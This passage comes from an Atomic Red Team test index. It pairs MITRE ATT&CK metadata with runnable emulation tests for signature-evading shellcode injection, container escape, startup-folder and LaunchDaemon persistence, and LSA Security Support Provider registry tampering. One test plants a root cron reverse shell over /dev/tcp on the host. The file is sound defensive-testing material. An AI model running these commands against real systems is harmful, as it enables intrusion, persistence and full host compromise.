        command: "$PathToAtomicsFolder\\T1055\\bin\\x64\\CreateThreadNative.exe -debug\n"
        cleanup_command: 'Stop-Process -Name CalculatorApp -ErrorAction SilentlyContinue

          '
    - name: UUID custom process Injection
      auto_generated_guid: '0128e48e-8c1a-433a-a11a-a5304734f1e1'
      description: |
        The UUIDs Process Injection code was first introduced by the NCC Group. The code can be stored in UUID forms on the heap and converted back to binary via UuidFromStringA at runtime. In this new custom version of UUID injection, EnumSystemLocalesA is the only API called to execute the code. We used custom UuidToString and UuidFromString implementations to avoid using UuidFromStringA and RPCRT4.dll, thereby eliminating the static signatures. This technique also avoided the use of VirtualAlloc, WriteProcessMemory and CreateThread

        The injected shellcode will open a message box and a notepad.

        Reference to NCC Group: https://research.nccgroup.com/2021/01/23/rift-analysing-a-lazarus-shellcode-execution-method/
        Concept from: http://ropgadget.com/posts/abusing_win_functions.html
      supported_platforms:
      - windows
      input_arguments:
        exe_binary:
          description: PE binary
          type: path
          default: PathToAtomicsFolder\T1055\bin\x64\uuid_injection.exe
      dependency_executor_name: powershell
      dependencies:
      - description: 'Portable Executable to inject must exist at specified location
          (#{exe_binary})

          '
        prereq_command: 'if (Test-Path "#{exe_binary}") {exit 0} else {exit 1}

          '
        get_prereq_command: |
          New-Item -Type Directory (split-path "#{exe_binary}") -ErrorAction ignore | Out-Null
          Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1055/bin/x64/uuid_injection.exe" -OutFile "#{exe_binary}"
      executor:
        command: |-
          Start-Process "#{exe_binary}"
          Start-Sleep -Seconds 7
          Get-Process -Name Notepad -ErrorAction SilentlyContinue | Stop-Process -Force
        cleanup_command: Get-Process -Name Notepad -ErrorAction SilentlyContinue |
          Stop-Process -Force
        name: powershell
        elevation_required: true
  T1611:
    technique:
      modified: '2024-04-19T12:42:18.632Z'
      name: Escape to Host
      description: |-
        Adversaries may break out of a container to gain access to the underlying host. This can allow an adversary access to other containerized resources from the host level or to the host itself. In principle, containerized resources should provide a clear separation of application functionality and be isolated from the host environment.(Citation: Docker Overview)

        There are multiple ways an adversary may escape to a host environment. Examples include creating a container configured to mount the host’s filesystem using the bind parameter, which allows the adversary to drop payloads and execute control utilities such as cron on the host; utilizing a privileged container to run commands or load a malicious kernel module on the underlying host; or abusing system calls such as `unshare` and `keyctl` to escalate privileges and steal secrets.(Citation: Docker Bind Mounts)(Citation: Trend Micro Privileged Container)(Citation: Intezer Doki July 20)(Citation: Container Escape)(Citation: Crowdstrike Kubernetes Container Escape)(Citation: Keyctl-unmask)

        Additionally, an adversary may be able to exploit a compromised container with a mounted container management socket, such as `docker.sock`, to break out of the container via a [Container Administration Command](https://attack.mitre.org/techniques/T1609).(Citation: Container Escape) Adversaries may also escape via [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068), such as exploiting vulnerabilities in global symbolic links in order to access the root directory of a host machine.(Citation: Windows Server Containers Are Open)

        Gaining access to the host may provide the adversary with the opportunity to achieve follow-on objectives, such as establishing persistence, moving laterally within the environment, accessing other containers running on the host, or setting up a command and control channel on the host.
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      x_mitre_contributors:
      - Yuval Avrahami, Palo Alto Networks
      - Daniel Prizmant, Palo Alto Networks
      - Alfredo Oliveira, Trend Micro
      - David Fiser, @anu4is, Trend Micro
      - Idan Frimark, Cisco
      - Magno Logan, @magnologan, Trend Micro
      - Ariel Shuper, Cisco
      - Yossi Weizman, Azure Defender Research Team
      - Vishwas Manral, McAfee
      - CrowdStrike
      - Eran Ayalon, Cybereason
      - Oren Ofer, Cybereason
      - Ilan Sokol, Cybereason
      - Joas Antonio dos Santos, @C0d3Cr4zy
      x_mitre_deprecated: false
      x_mitre_detection: Monitor for the deployment of suspicious or unknown container
        images and pods in your environment, particularly containers running as root.
        Additionally, monitor for unexpected usage of syscalls such as <code>mount</code>
        (as well as resulting process activity) that may indicate an attempt to escape
        from a privileged container to host. In Kubernetes, monitor for cluster-level
        events associated with changing containers' volume configurations.
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: false
      x_mitre_platforms:
      - Windows
      - Linux
      - Containers
      x_mitre_version: '1.5'
      x_mitre_data_sources:
      - 'Process: Process Creation'
      - 'Kernel: Kernel Module Load'
      - 'Container: Container Creation'
      - 'Volume: Volume Modification'
      - 'Process: OS API Execution'
      x_mitre_permissions_required:
      - Administrator
      - User
      - root
      type: attack-pattern
      id: attack-pattern--4a5b7ade-8bb5-4853-84ed-23f262002665
      created: '2021-03-30T17:38:34.277Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1611
        external_id: T1611
      - source_name: Container Escape
        description: 0xn3va. (n.d.). Escaping. Retrieved May 27, 2022.
        url: https://0xn3va.gitbook.io/cheat-sheets/container/escaping
      - source_name: Windows Server Containers Are Open
        description: Daniel Prizmant. (2020, July 15). Windows Server Containers Are
          Open, and Here's How You Can Break Out. Retrieved October 1, 2021.
        url: https://unit42.paloaltonetworks.com/windows-server-containers-vulnerabilities/
      - source_name: Docker Overview
        description: Docker. (n.d.). Docker Overview. Retrieved March 30, 2021.
        url: https://docs.docker.com/get-started/overview/
      - source_name: Docker Bind Mounts
        description: Docker. (n.d.). Use Bind Mounts. Retrieved March 30, 2021.
        url: https://docs.docker.com/storage/bind-mounts/
      - source_name: Trend Micro Privileged Container
        description: Fiser, D., Oliveira, A.. (2019, December 20). Why a Privileged
          Container in Docker is a Bad Idea. Retrieved March 30, 2021.
        url: https://www.trendmicro.com/en_us/research/19/l/why-running-a-privileged-container-in-docker-is-a-bad-idea.html
      - source_name: Intezer Doki July 20
        description: 'Fishbein, N., Kajiloti, M.. (2020, July 28). Watch Your Containers:
          Doki Infecting Docker Servers in the Cloud. Retrieved March 30, 2021.'
        url: https://www.intezer.com/blog/cloud-security/watch-your-containers-doki-infecting-docker-servers-in-the-cloud/
      - source_name: Crowdstrike Kubernetes Container Escape
        description: 'Manoj Ahuje. (2022, January 31). CVE-2022-0185: Kubernetes Container
          Escape Using Linux Kernel Exploit. Retrieved July 6, 2022.'
        url: https://www.crowdstrike.com/blog/cve-2022-0185-kubernetes-container-escape-using-linux-kernel-exploit/
      - source_name: Keyctl-unmask
        description: 'Mark Manning. (2020, July 23). Keyctl-unmask: "Going Florida"
          on The State Of Containerizing Linux Keyrings. Retrieved July 6, 2022.'
        url: https://www.antitree.com/2020/07/keyctl-unmask-going-florida-on-the-state-of-containerizing-linux-keyrings/
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.2.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
      identifier: T1611
    atomic_tests:
    - name: Deploy container using nsenter container escape
      auto_generated_guid: 0b2f9520-a17a-4671-9dba-3bd034099fff
      description: |
        In this escape `kubectl` is used to launch a new pod, with a container that has the host pids mapped into the container (`hostPID:true`). It uses the alpine linux container image. It runs with privilege on the host (`privileged:true`). When the container is launched the command `nsenter --mount=/proc/1/ns/mnt -- /bin/bash` is ran. Since the host processes have been mapped into the container, the container enters the host namespace, escaping the container.

        Additional Details:
        - https://twitter.com/mauilion/status/1129468485480751104
        - https://securekubernetes.com/scenario_2_attack/
      supported_platforms:
      - containers
      dependency_executor_name: sh
      dependencies:
      - description: Verify docker is installed.
        prereq_command: 'which docker

          '
        get_prereq_command: 'if [ "" == "`which docker`" ]; then echo "Docker Not
          Found"; if [ -n "`which apt-get`" ]; then sudo apt-get -y install docker
          ; elif [ -n "`which yum`" ]; then sudo yum -y install docker ; fi ; else
          echo "Docker installed"; fi

          '
      - description: Verify docker service is running.
        prereq_command: 'sudo systemctl status docker

          '
        get_prereq_command: 'sudo systemctl start docker

          '
      - description: Verify kind is in the path.
        prereq_command: 'which kind

          '
        get_prereq_command: |
          curl -Lo ./kind https://kind.sigs.k8s.io/dl/v0.10.0/kind-linux-amd64
          chmod +x ./kind
          mv kind /usr/bin/kind
      - description: Verify kind-atomic-cluster is created
        prereq_command: 'sudo kind get clusters

          '
        get_prereq_command: 'sudo kind create cluster --name atomic-cluster

          '
      - description: Verify kubectl is in path
        prereq_command: 'which kubectl

          '
        get_prereq_command: |
          curl -LO "https://dl.k8s.io/release/$(curl -L -s https://dl.k8s.io/release/stable.txt)/bin/linux/amd64/kubectl"
          chmod +x ./kubectl
          mv kubectl /usr/bin/kubectl
      executor:
        command: 'kubectl --context kind-atomic-cluster run atomic-nsenter-escape-pod
          --restart=Never -ti --rm --image alpine --overrides ''{"spec":{"hostPID":
          true, "containers":[{"name":"1","image":"alpine","command":["nsenter","--mount=/proc/1/ns/mnt","--","/bin/bash"],"stdin":
          true,"tty":true,"securityContext":{"privileged":true}}]}}''

          '
        name: sh
        cleanup_command: 'kubectl --context kind-atomic-cluster delete pod atomic-escape-pod

          '
    - name: Mount host filesystem to escape privileged Docker container
      auto_generated_guid: 6c499943-b098-4bc6-8d38-0956fc182984
      description: "This technique abuses privileged Docker containers to mount the
        host's filesystem and then create a cron job to launch a reverse shell as
        the host's superuser.\nThe container running the test needs be privileged.
        \ It may take up to a minute for this to run due to how often crond triggers
        a job.\nDev note: the echo to create cron_filename is broken up to prevent
        localized execution of hostname and id by Powershell. \n"
      supported_platforms:
      - containers
      input_arguments:
        mount_device:
          description: Path to the device of the host's disk to mount
          type: path
          default: "/dev/dm-0"
        mount_point:
          description: Path where the host filesystem will be mounted
          type: path
          default: "/mnt/T1611.002"
        cron_path:
          description: Path on the host filesystem where cron jobs are stored
          type: path
          default: "/etc/cron.d"
        cron_filename:
          description: Filename of the cron job in cron_path
          type: string
          default: T1611_002
        listen_address:
          description: IP address to listen for callback from the host system.
          type: string
          default: "`ifconfig eth0 | grep inet | awk '{print $2}'`"
        listen_port:
          description: TCP Port to listen on for callback from the host system.
          type: integer
          default: 4444
      dependency_executor_name: sh
      dependencies:
      - description: Verify mount is installed.
        prereq_command: 'which mount

          '
        get_prereq_command: 'if [ "" == "`which mount`" ]; then echo "mount Not Found";
          if [ -n "`which apt-get`" ]; then sudo apt-get -y install mount ; elif [
          -n "`which yum`" ]; then sudo yum -y install mount ; fi ; else echo "mount
          installed"; fi

          '
      - description: Verify container is privileged.
        prereq_command: 'capsh --print | grep cap_sys_admin

          '
        get_prereq_command: 'if [ "`capsh --print | grep cap_sys_admin`" == "" ];
          then echo "Container not privileged.  Re-start container in insecure state.  Docker:
          run with --privileged flag.  Kubectl, add securityContext: privileged: true";
          fi

          '
      - description: Verify mount device (/dev/dm-0) exists.
        prereq_command: 'ls #{mount_device}

          '
        get_prereq_command: 'if [ ! -f #{mount_device} ]; then echo "Container not
          privileged or wrong device path.  Re-start container in insecure state.  Docker:
          run with --privileged flag.  Kubectl, add securityContext: privileged: true";
          fi

          '
      - description: Netcat is installed.
        prereq_command: 'which netcat

          '
        get_prereq_command: 'if [ "" == "`which netcat`" ]; then echo "netcat Not
          Found"; if [ -n "`which apt-get`" ]; then sudo apt-get -y install netcat
          ; elif [ -n "`which yum`" ]; then sudo yum -y install netcat ; fi

          '
      - description: IP Address is known.
        prereq_command: 'if [ "#{listen_address}" != "" ]; then echo "Listen address
          set as #{listen_address}" ; fi

          '
        get_prereq_command: 'if [ "" == "`which ifconfig`" ]; then echo "ifconfig
          Not Found"; if [ -n "`which apt-get`" ]; then sudo apt-get -y install net=tools
          ; elif [ -n "`which yum`" ]; then sudo yum -y install net-tools ; fi

          '
      executor:
        name: sh
        elevation_required: true
        command: |
          if [ ! -d #{mount_point} ]; then mkdir #{mount_point} ; mount #{mount_device} #{mount_point}; fi
          echo -n "* * * * * root /bin/bash -c '/bin/bash -c echo \"\"; echo \"hello from host! " > #{mount_point}#{cron_path}/#{cron_filename}
          echo -n "$" >> #{mount_point}#{cron_path}/#{cron_filename}
          echo -n "(hostname) " >> #{mount_point}#{cron_path}/#{cron_filename}
          echo -n "$" >> #{mount_point}#{cron_path}/#{cron_filename}
          echo "(id)\" >& /dev/tcp/#{listen_address}/#{listen_port} 0>&1'" >> #{mount_point}#{cron_path}/#{cron_filename}
          netcat -l -p #{listen_port} 2>&1
        cleanup_command: |
          rm #{mount_point}#{cron_path}/#{cron_filename}
          umount #{mount_point}
          rmdir #{mount_point}
  T1547.009:
    technique:
      modified: '2023-05-09T14:00:00.188Z'
      name: 'Boot or Logon Autostart Execution: Shortcut Modification'
      description: |-
        Adversaries may create or modify shortcuts that can execute a program during system boot or user login. Shortcuts or symbolic links are used to reference other files or programs that will be opened or executed when the shortcut is clicked or executed by a system startup process.

        Adversaries may abuse shortcuts in the startup folder to execute their tools and achieve persistence.(Citation: Shortcut for Persistence ) Although often used as payloads in an infection chain (e.g. [Spearphishing Attachment](https://attack.mitre.org/techniques/T1566/001)), adversaries may also create a new shortcut as a means of indirection, while also abusing [Masquerading](https://attack.mitre.org/techniques/T1036) to make the malicious shortcut appear as a legitimate program. Adversaries can also edit the target path or entirely replace an existing shortcut so their malware will be executed instead of the intended legitimate program.

        Shortcuts can also be abused to establish persistence by implementing other methods. For example, LNK browser extensions may be modified (e.g. [Browser Extensions](https://attack.mitre.org/techniques/T1176)) to persistently launch malware.
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: persistence
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      x_mitre_attack_spec_version: 2.1.0
      x_mitre_contributors:
      - David French, Elastic
      - Bobby, Filar, Elastic
      - Travis Smith, Tripwire
      x_mitre_deprecated: false
      x_mitre_detection: |-
        Since a shortcut's target path likely will not change, modifications to shortcut files that do not correlate with known software changes, patches, removal, etc., may be suspicious. Analysis should attempt to relate shortcut file change or creation events to other potentially suspicious events based on known adversary behavior such as process launches of unknown executables that make network connections.

        Monitor for LNK files created with a Zone Identifier value greater than 1, which may indicate that the LNK file originated from outside of the network.(Citation: BSidesSLC 2020 - LNK Elastic)
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: true
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      x_mitre_platforms:
      - Windows
      x_mitre_version: '1.2'
      x_mitre_data_sources:
      - 'File: File Modification'
      - 'Process: Process Creation'
      - 'File: File Creation'
      x_mitre_permissions_required:
      - Administrator
      - User
      type: attack-pattern
      id: attack-pattern--4ab929c6-ee2d-4fb5-aab4-b14be2ed7179
      created: '2020-01-24T19:00:32.917Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1547/009
        external_id: T1547.009
      - source_name: 'Shortcut for Persistence '
        description: Elastic. (n.d.). Shortcut File Written or Modified for Persistence.
          Retrieved June 1, 2022.
        url: https://www.elastic.co/guide/en/security/7.17/shortcut-file-written-or-modified-for-persistence.html#shortcut-file-written-or-modified-for-persistence
      - source_name: BSidesSLC 2020 - LNK Elastic
        description: French, D., Filar, B.. (2020, March 21). A Chain Is No Stronger
          Than Its Weakest LNK. Retrieved November 30, 2020.
        url: https://www.youtube.com/watch?v=nJ0UsyiUEqQ
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      spec_version: '2.1'
      identifier: T1547.009
    atomic_tests:
    - name: Shortcut Modification
      auto_generated_guid: ce4fc678-364f-4282-af16-2fb4c78005ce
      description: |
        This test to simulate shortcut modification and then execute. example shortcut (*.lnk , .url) strings check with powershell;
        gci -path "C:\Users" -recurse -include *.url -ea SilentlyContinue | Select-String -Pattern "exe" | FL.
        Upon execution, calc.exe will be launched.
      supported_platforms:
      - windows
      input_arguments:
        shortcut_file_path:
          description: shortcut modified and execute
          type: path
          default: "%temp%\\T1547.009_modified_shortcut.url"
      executor:
        command: |
          echo [InternetShortcut] > #{shortcut_file_path}
          echo URL=C:\windows\system32\calc.exe >> #{shortcut_file_path}
          #{shortcut_file_path}
        cleanup_command: 'del -f #{shortcut_file_path} >nul 2>&1

          '
        name: command_prompt
    - name: Create shortcut to cmd in startup folders
      auto_generated_guid: cfdc954d-4bb0-4027-875b-a1893ce406f2
      description: |
        LNK file to launch CMD placed in startup folder. Upon execution, open File Explorer and browse to "%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\"
        to view the new shortcut.
      supported_platforms:
      - windows
      executor:
        command: |
          $Shell = New-Object -ComObject ("WScript.Shell")
          $ShortCut = $Shell.CreateShortcut("$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup\T1547.009.lnk")
          $ShortCut.TargetPath="cmd.exe"
          $ShortCut.WorkingDirectory = "C:\Windows\System32";
          $ShortCut.WindowStyle = 1;
          $ShortCut.Description = "T1547.009.";
          $ShortCut.Save()

          $Shell = New-Object -ComObject ("WScript.Shell")
          $ShortCut = $Shell.CreateShortcut("$env:ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\T1547.009.lnk")
          $ShortCut.TargetPath="cmd.exe"
          $ShortCut.WorkingDirectory = "C:\Windows\System32";
          $ShortCut.WindowStyle = 1;
          $ShortCut.Description = "T1547.009.";
          $ShortCut.Save()
        cleanup_command: |
          Remove-Item "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup\T1547.009.lnk" -ErrorAction Ignore
          Remove-Item "$env:ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\T1547.009.lnk" -ErrorAction Ignore
        name: powershell
        elevation_required: true
  T1547.005:
    technique:
      x_mitre_platforms:
      - Windows
      x_mitre_domains:
      - enterprise-attack
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      id: attack-pattern--5095a853-299c-4876-abd7-ac0050fb5462
      type: attack-pattern
      created: '2020-01-24T17:16:11.806Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      external_references:
      - source_name: mitre-attack
        external_id: T1547.005
        url: https://attack.mitre.org/techniques/T1547/005
      - url: http://docplayer.net/20839173-Analysis-of-malicious-security-support-provider-dlls.html
        description: Graeber, M. (2014, October). Analysis of Malicious Security Support
          Provider DLLs. Retrieved March 1, 2017.
        source_name: Graeber 2014
      - url: https://technet.microsoft.com/en-us/library/dn408187.aspx
        description: Microsoft. (2013, July 31). Configuring Additional LSA Protection.
          Retrieved June 24, 2015.
        source_name: Microsoft Configure LSA
      modified: '2021-04-29T14:49:39.188Z'
      name: 'Boot or Logon Autostart Execution: Security Support Provider'
      description: |-
        Adversaries may abuse security support providers (SSPs) to execute DLLs when the system boots. Windows SSP DLLs are loaded into the Local Security Authority (LSA) process at system start. Once loaded into the LSA, SSP DLLs have access to encrypted and plaintext passwords that are stored in Windows, such as any logged-on user's Domain password or smart card PINs.

        The SSP configuration is stored in two Registry keys: <code>HKLM\SYSTEM\CurrentControlSet\Control\Lsa\Security Packages</code> and <code>HKLM\SYSTEM\CurrentControlSet\Control\Lsa\OSConfig\Security Packages</code>. An adversary may modify these Registry keys to add new SSPs, which will be loaded the next time the system boots, or when the AddSecurityPackage Windows API function is called.(Citation: Graeber 2014)
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: persistence
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      x_mitre_detection: 'Monitor the Registry for changes to the SSP Registry keys.
        Monitor the LSA process for DLL loads. Windows 8.1 and Windows Server 2012
        R2 may generate events when unsigned SSP DLLs try to load into the LSA by
        setting the Registry key <code>HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image
        File Execution Options\LSASS.exe</code> with AuditLevel = 8. (Citation: Graeber
        2014) (Citation: Microsoft Configure LSA)'
      x_mitre_is_subtechnique: true
      x_mitre_version: '1.0'
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      x_mitre_data_sources:
      - 'Command: Command Execution'
      - 'Module: Module Load'
      - 'Windows Registry: Windows Registry Key Modification'
      x_mitre_permissions_required:
      - Administrator
      spec_version: '2.1'
      x_mitre_attack_spec_version: 2.1.0
      identifier: T1547.005
    atomic_tests:
    - name: Modify HKLM:\System\CurrentControlSet\Control\Lsa Security Support Provider
        configuration in registry
      auto_generated_guid: afdfd7e3-8a0b-409f-85f7-886fdf249c9e
      description: |
        Add a value to a Windows registry Security Support Provider pointing to a payload .dll which will normally need to be copied in the system32 folder.
        A common DLL used with this techquite is the minilib.dll from mimikatz, see https://pentestlab.blog/2019/10/21/persistence-security-support-provider/
      supported_platforms:
      - windows
      executor:
        command: |
          $oldvalue = $(Get-ItemProperty HKLM:\System\CurrentControlSet\Control\Lsa -Name 'Security Packages' | Select-Object -ExpandProperty 'Security Packages');
          Set-ItemProperty -Path "HKLM:\System\CurrentControlSet\Control\Lsa" -Name 'Security Packages old' -Value "$oldvalue";
          $newvalue = "AtomicTest.dll";
          Set-ItemProperty HKLM:\SYSTEM\CurrentControlSet\Control\Lsa -Name 'Security Packages' -Value $newvalue
        cleanup_command: |-
          $oldvalue = $(Get-ItemPropertyValue -Path  "HKLM:\System\CurrentControlSet\Control\Lsa" -Name 'Security Packages old' | Select-Object -ExpandProperty 'Security Packages old');
          Set-ItemProperty -Path HKLM:\System\CurrentControlSet\Control\Lsa -Name 'Security Packages' -Value "$oldvalue";
          Remove-ItemProperty -Path  "HKLM:\System\CurrentControlSet\Control\Lsa" -Name 'Security Packages old';
        name: powershell
        elevation_required: true
    - name: Modify HKLM:\System\CurrentControlSet\Control\Lsa\OSConfig Security Support
        Provider configuration in registry
      auto_generated_guid: de3f8e74-3351-4fdb-a442-265dbf231738
      description: Add a value to a Windows registry SSP key, simulating an adversarial
        modification of those keys.
      supported_platforms:
      - windows
      executor:
        command: |
          $oldvalue = $(Get-ItemProperty HKLM:\System\CurrentControlSet\Control\Lsa\OSConfig -Name 'Security Packages' | Select-Object -ExpandProperty 'Security Packages');
          Set-ItemProperty -Path "HKLM:\System\CurrentControlSet\Control\Lsa\OSConfig" -Name 'Security Packages old' -Value "$oldvalue";
          $newvalue = "AtomicTest.dll";
          Set-ItemProperty HKLM:\SYSTEM\CurrentControlSet\Control\Lsa\OSConfig -Name 'Security Packages' -Value $newvalue
        cleanup_command: |-
          $oldvalue = $(Get-ItemPropertyValue -Path  "HKLM:\System\CurrentControlSet\Control\Lsa\OSConfig" -Name 'Security Packages old' | Select-Object -ExpandProperty 'Security Packages old');
          Set-ItemProperty -Path HKLM:\System\CurrentControlSet\Control\Lsa\OSConfig -Name 'Security Packages' -Value "$oldvalue";
          Remove-ItemProperty -Path  "HKLM:\System\CurrentControlSet\Control\Lsa\OSConfig" -Name 'Security Packages old';
        name: powershell
        elevation_required: true
  T1543.004:
    technique:
      modified: '2023-05-09T14:00:00.188Z'
      name: 'Create or Modify System Process: Launch Daemon'
      description: |-
        Adversaries may create or modify Launch Daemons to execute malicious payloads as part of persistence. Launch Daemons are plist files used to interact with Launchd, the service management framework used by macOS. Launch Daemons require elevated privileges to install, are executed for every user on a system prior to login, and run in the background without the need for user interaction. During the macOS initialization startup, the launchd process loads the parameters for launch-on-demand system-level daemons from plist files found in <code>/System/Library/LaunchDaemons/</code> and <code>/Library/LaunchDaemons/</code>. Required Launch Daemons parameters include a <code>Label</code> to identify the task, <code>Program</code> to provide a path to the executable, and <code>RunAtLoad</code> to specify when the task is run. Launch Daemons are often used to provide access to shared resources, updates to software, or conduct automation tasks.(Citation: AppleDocs Launch Agent Daemons)(Citation: Methods of Mac Malware Persistence)(Citation: launchd Keywords for plists)

        Adversaries may install a Launch Daemon configured to execute at startup by using the <code>RunAtLoad</code> parameter set to <code>true</code> and the <code>Program</code> parameter set to the malicious executable path. The daemon name may be disguised by using a name from a related operating system or benign software (i.e. [Masquerading](https://attack.mitre.org/techniques/T1036)). When the Launch Daemon is executed, the program inherits administrative permissions.(Citation: WireLurker)(Citation: OSX Malware Detection)

        Additionally, system configuration changes (such as the installation of third party package managing software) may cause folders such as <code>usr/local/bin</code> to become globally writeable. So, it is possible for poor configurations to allow an adversary to modify executables referenced by current Launch Daemon's plist files.(Citation: LaunchDaemon Hijacking)(Citation: sentinelone macos persist Jun 2019)
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: persistence
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      x_mitre_detection: |+
        Monitor for new files added to the <code>/Library/LaunchDaemons/</code> folder. The System LaunchDaemons are protected by SIP.

        Some legitimate LaunchDaemons point to unsigned code that could be exploited. For Launch Daemons with the <code>RunAtLoad</code> parameter set to true, ensure the <code>Program</code> parameter points to signed code or executables are in alignment with enterprise policy. Some parameters are interchangeable with others, such as <code>Program</code> and <code>ProgramArguments</code> parameters but one must be present.(Citation: launchd Keywords for plists)

      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: true
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      x_mitre_platforms:
      - macOS
      x_mitre_version: '1.2'
      x_mitre_data_sources:
      - 'Process: Process Creation'
      - 'File: File Creation'
      - 'File: File Modification'
      - 'Service: Service Modification'
      - 'Command: Command Execution'
      - 'Service: Service Creation'
      x_mitre_effective_permissions:
      - root
      - Administrator
      x_mitre_permissions_required:
      - Administrator
      type: attack-pattern
      id: attack-pattern--573ad264-1371-4ae0-8482-d2673b719dba
      created: '2020-01-17T19:23:15.227Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1543/004
        external_id: T1543.004
      - source_name: AppleDocs Launch Agent Daemons
        description: Apple. (n.d.). Creating Launch Daemons and Agents. Retrieved
          July 10, 2017.
        url: https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingLaunchdJobs.html
      - source_name: Methods of Mac Malware Persistence
        description: Patrick Wardle. (2014, September). Methods of Malware Persistence
          on Mac OS X. Retrieved July 5, 2017.
        url: https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf
      - source_name: launchd Keywords for plists
        description: Dennis German. (2020, November 20). launchd Keywords for plists.
          Retrieved October 7, 2021.
        url: https://www.real-world-systems.com/docs/launchdPlist.1.html
      - source_name: WireLurker
        description: 'Claud Xiao. (n.d.). WireLurker: A New Era in iOS and OS X Malware.
          Retrieved July 10, 2017.'
        url: https://www.paloaltonetworks.com/content/dam/pan/en_US/assets/pdf/reports/Unit_42/unit42-wirelurker.pdf
      - source_name: OSX Malware Detection
        description: 'Patrick Wardle. (2016, February 29). Let''s Play Doctor: Practical
          OS X Malware Detection & Analysis. Retrieved July 10, 2017.'
        url: https://www.synack.com/wp-content/uploads/2016/03/RSA_OSX_Malware.pdf
      - source_name: LaunchDaemon Hijacking
        description: 'Bradley Kemp. (2021, May 10). LaunchDaemon Hijacking: privilege
          escalation and persistence via insecure folder permissions. Retrieved July
          26, 2021.'
        url: https://bradleyjkemp.dev/post/launchdaemon-hijacking/
      - source_name: sentinelone macos persist Jun 2019
        description: Stokes, Phil. (2019, June 17). HOW MALWARE PERSISTS ON MACOS.
          Retrieved September 10, 2019.
        url: https://www.sentinelone.com/blog/how-malware-persists-on-macos/
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.1.0
      spec_version: '2.1'
      identifier: T1543.004
    atomic_tests:
    - name: Launch Daemon
      auto_generated_guid: 03ab8df5-3a6b-4417-b6bd-bb7a5cfd74cf
      description: 'Utilize LaunchDaemon to launch `Hello World`

        '
      supported_platforms:
      - macos
      input_arguments:
        plist_filename:
          description: filename
          type: string
          default: com.atomicredteam.plist
        path_malicious_plist:
          description: Name of file to store in cron folder
          type: string
          default: "$PathToAtomicsFolder/T1543.004/src/atomicredteam_T1543_004.plist"
      dependency_executor_name: bash
      dependencies:
      - description: 'The shared library must exist on disk at specified location
          (#{path_malicious_plist})

          '
        prereq_command: 'if [ -f #{path_malicious_plist} ]; then exit 0; else exit
          1; fi;

          '
        get_prereq_command: 'echo "The plist file doesn''t exist. Check the path and
          try again."; exit 1;

          '
      executor:
        name: bash
        elevation_required: true
        command: |
          sudo cp #{path_malicious_plist} /Library/LaunchDaemons/#{plist_filename}
          sudo launchctl load -w /Library/LaunchDaemons/#{plist_filename}
        cleanup_command: |
          sudo launchctl unload /Library/LaunchDaemons/#{plist_filename}
          sudo rm /Library/LaunchDaemons/#{plist_filename}
          sudo rm /tmp/T1543_004_atomicredteam.txt
    - name: Launch Daemon - Users Directory
      auto_generated_guid: 6f899f9d-8a8e-4143-89a5-26fc2c3ec438
      description: 'Utilize LaunchDaemon in /Users directory  to touch temporary file
        in /tmp

        '
      supported_platforms:
      - macos
      input_arguments:
        plist_filename:
          description: filename
          type: string
          default: com.atomicredteam.T1543.004.plist
        path_malicious_plist:
          description: Name of file to store in cron folder
          type: string
          default: "$PathToAtomicsFolder/T1543.004/src/atomicredteam_T1543_004.plist"
      dependency_executor_name: bash
      dependencies:
      - description: 'The shared library must exist on disk at specified location
          (#{path_malicious_plist})

          '
        prereq_command: 'if [ -f #{path_malicious_plist} ]; then exit 0; else exit
          1; fi;

          '
        get_prereq_command: 'echo "The plist file doesn''t exist. Check the path and
          try again."; exit 1;

          '
      executor:
        name: bash
        elevation_required: true
        command: |
          sudo cp #{path_malicious_plist} ~/Library/LaunchDaemons/#{plist_filename}
          sudo launchctl load -w ~/Library/LaunchDaemons/#{plist_filename}
        cleanup_command: |-
          sudo launchctl unload ~/Library/LaunchDaemons/#{plist_filename}
          sudo rm ~/Library/LaunchDaemons/#{plist_filename}
